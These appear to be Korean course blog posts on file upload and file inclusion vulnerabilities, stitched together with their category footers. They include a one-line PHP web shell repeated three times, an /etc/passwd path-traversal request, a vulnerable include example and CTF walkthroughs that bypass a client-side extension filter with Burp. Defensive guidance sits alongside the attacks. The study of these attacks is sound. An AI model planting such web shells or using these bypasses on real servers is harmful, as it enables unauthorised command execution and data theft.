파일 업로드 취약점 대응 방안

파일 업로드 취약점은 업로드 한 파일을 서버가 실행 하기 때문에 위험 하다.

이를 방지하기 위한 방법은 아래와 같다.

  1. 업로드 파일의 확장자를 화이트리스트 기반으로 제한
    php가 동작하는 서버에서 .php를 업로드 하여 실행 하게 될 시 웹 셸을 업로드 할 가능성이 많다. 이를 방지하기 위해 특정 확장자를 제외한 파일들을 업로드가 불가능하도록 코드를 작성한다.
  2. 파일 명 및 경로의 노출제한
    파일을 실행하기 위해서는 서버에서의 파일 위치와 파일명을 알고 있어야한다. 이를 공격자가 알 수 없게하기 위해 업로드 한 파일명 및 경로를 DB에 저장하고 파일명은 난독화 하여 서버에 저장한다. 파일을 다운로드 시 게시판의 key를 통해 파일이 저장된 경로와 파일명을가져와 다운로드 할 수 있도록한다.
  3. NAS의 활용
    php가 설치되지 않은 NAS에 파일을 업로드 하는 방식으로 구현이 되어 있다면 .php파일을 읽더라도 실행을 할 수 없다.

File include 취약점 (LFI, RFI)

일반적으로 개발 시 공통적으로 사용하는 부분을 따로 개발하고 requre, import 와 같은 구문을 사용하여 해당 코드들을 재사용한다. 이를 이용한 공격 기법이 File include 취약점 이다.

 

홈페이지가 한국어, 영어 등 다른 언어로 작성된 php가 있다고 가정한다.

Ex) ko.php: 한국어 Navigation bar( Navigation bar는 상단 혹은 좌우측들에 있는 목록을 말한다.)

en.php: 영어 Navigation bar

nav bar의 예시

이를 request의 파라미터로 파일 명을 받게 된다면 File Include 취약점이 존재 할 수 있다.

 

fileIncludeTest.php

<?php
include($_GET['page']);
echo "wow";
?>

위와 같은 구문으로 작성된 페이지가 있다면 ip:port/ fileIncludeTest .php?page=../../../../../etc/passwd로 요청을 하게 된다면 

passwd 파일을 불러올 수 있다.

서버 로컬 파일을 include한다면 Local File Include(LFI), 외부의 파일을 include한다면 Remote File Include(RFI)라고 한다. 

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

14주차 (파일 업로드 취약점 & 웹 셸)  (0) 2024.02.13
13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
12주차 CSRF  (1) 2024.01.21
11차 HTML의 DOM 접근  (0) 2024.01.15


1. 웹 셸 코드 작성

<?php
echo system($_GET['cmd']);           
?>

 

2. 파일 업로드

 

php 확장자 사용 불가.

2-2. 분석

http response 분석 결과 확장자 구분의 내용이 front 의 스크립트에서 필터링 되는 것을 확인

response를 intercept하여 script를 제거 

 

버프 수트의 reponse intercept 기능 켜기
return true로 변경

2-3 파일 재업로드 

업로드 성공
그러나 back단에서 또다시 check를 하는 듯함.

그런데??? index가 풀려있다?

php 확인 결과 업로드 할 수 없는 파일 alert이 발생하나 파일은 업로드 됨

3. 파일 경로찾기

경로는 /webshell_2files/123

4. find 파일 찾기

find / -name flag.txt

5. 파일 조회하기

'웹 해킹 코스 > 과제' 카테고리의 다른 글

15차 GET FLAG FILE2  (0) 2024.02.16
15차 CTF webshell3  (0) 2024.02.15
14차 문제풀이 Web Shell 1  (0) 2024.02.13
4-7 마이페이지 만들기  (0) 2024.02.06
4-6 게시판 구현하기 (html_entities 적용)  (0) 2024.02.06


1. 웹 셸 작성 (shell.php)

<?php
echo system($_GET['cmd']);           
?>

 

2. 파일 업로드

 

3. 업로드 경로 조회

files/123/shell.php
웹 셸 동작 확인

 

4. find 명령어로 파일 찾기

 

5. cat 데이터 조회하기

파일 업로드 취약점

이름 그대로 파일을 업로드하여 공격을 하는 방법 이를 통해 웹 셸 DoS공격이 가능하다.

 

파일 업로드의 기능에 용량제한 및 개수 제한이 없는 경우 다량의 고용량 데이터를 업로드하여 해당 서버의 Disk를 점유하도록 공격하게 된다면 가용성에 대한 공격 즉 DoS공격이 될 수 있다.

 

해당공격을 통해 웹 셸을 실행 할 수 있다면 Server Side 공격이 될 것이고 Client Side 소스를 업로드하고 다른 사용자가 해당 파일을 실행하게 한다면 Client Side 공격이 될 수 있다.

 

 

Pishing

login.php 파일이 없는 서버에 /phising/login.php 파일을 업로드 한 뒤 로그인을 시키면 사용자는 앞 도메인을 보고 정상적인 사이트로 인식할 수 있다.

 

Deface 공격

서버에 index.php가 있는경우 index.php를 업로드하여 새로운 index.php를 실행하도록 하는 공격방법이다.

 

XSS공격

정상적인 index.php가 있다고 한다면 해당 index.php를 다운로드 받고 index.php에 추가적으로 악성스크립트를 삽입 후 재 재업로드하여 공격 할 수 있다. 

 


웹 셸

웹 셸(web shell)은 업로드 취약점을 통하여 시스템에 명령을 내릴 수 있는 코드를 말한다. web shell은 간단한 서버 스크립트 (jsp, php, asp...)로 만드는 방법이 널리 사용되며 이 스크립트들은 웹 서버의 취약점을 통해 업로드된다. 웹셸 설치 시 해커들은 보안 시스템을 피하여 별도의 인증 없이 시스템에 쉽게 접속 가능하다. - 위키백과-

 

즉 파일 업로드를 통해 해당 서버의 명령어를 입력 할 수 있는 공격 방법이다.

웹 셸을 동작 시켰다면 해당 권한은 해당 프로그램을 실행한 권한과 동일하다.

 

웹 셸은 서버의 구성에 따라 업로드할 파일이 다르다.

python을 사용하는 서버라면 .py의 코드를, java를 사용한다면 .jsp를, php라면 .php를 올리는 방식이 된다.

 

php웹셸 예시

<?php
echo system($_GET['cmd']);           
?>

 

웹셸에 id 커멘드를 입력한 결과

 

1. 웹 셸을 업로드 할 수 있어야한다.(php의 경우 확장자가 .php여야한다.)

2. 웹 셸은 업로드 한 파일을 WAS가 실행 시키기 때문에 경로를 알아야한다. 

 


대응 방안

파일의 업로드 시점에 확장자와 파일의 크기 등을 확인하여 막는다.

확장자가 php라면 막는 식의 블랙리스트의 경우 대응하기 쉽지 않다.

Ex)

- .php -> pHp, php3

- .asp -> .cer .cdx .asa
- .php -> .php3 .html .htm
- .jsp -> .war, jspx, jsv, jsw

등 동작 가능한 확장자 를 모두 기입해야한다.

 

특정 확장자만 업로드가 가능하도록 화이트리스트 방식을 채택하는 것이 보다 간편하고 강력하다.

Ex)

이미지 업로드의 경우 

png, jpg, jpeg, gif 만 업로드 가능하도록

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

15주 File Upload, Download 취약점(LFI, RFI)  (0) 2024.02.15
13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
12주차 CSRF  (1) 2024.01.21
11차 HTML의 DOM 접근  (0) 2024.01.15

+ Recent posts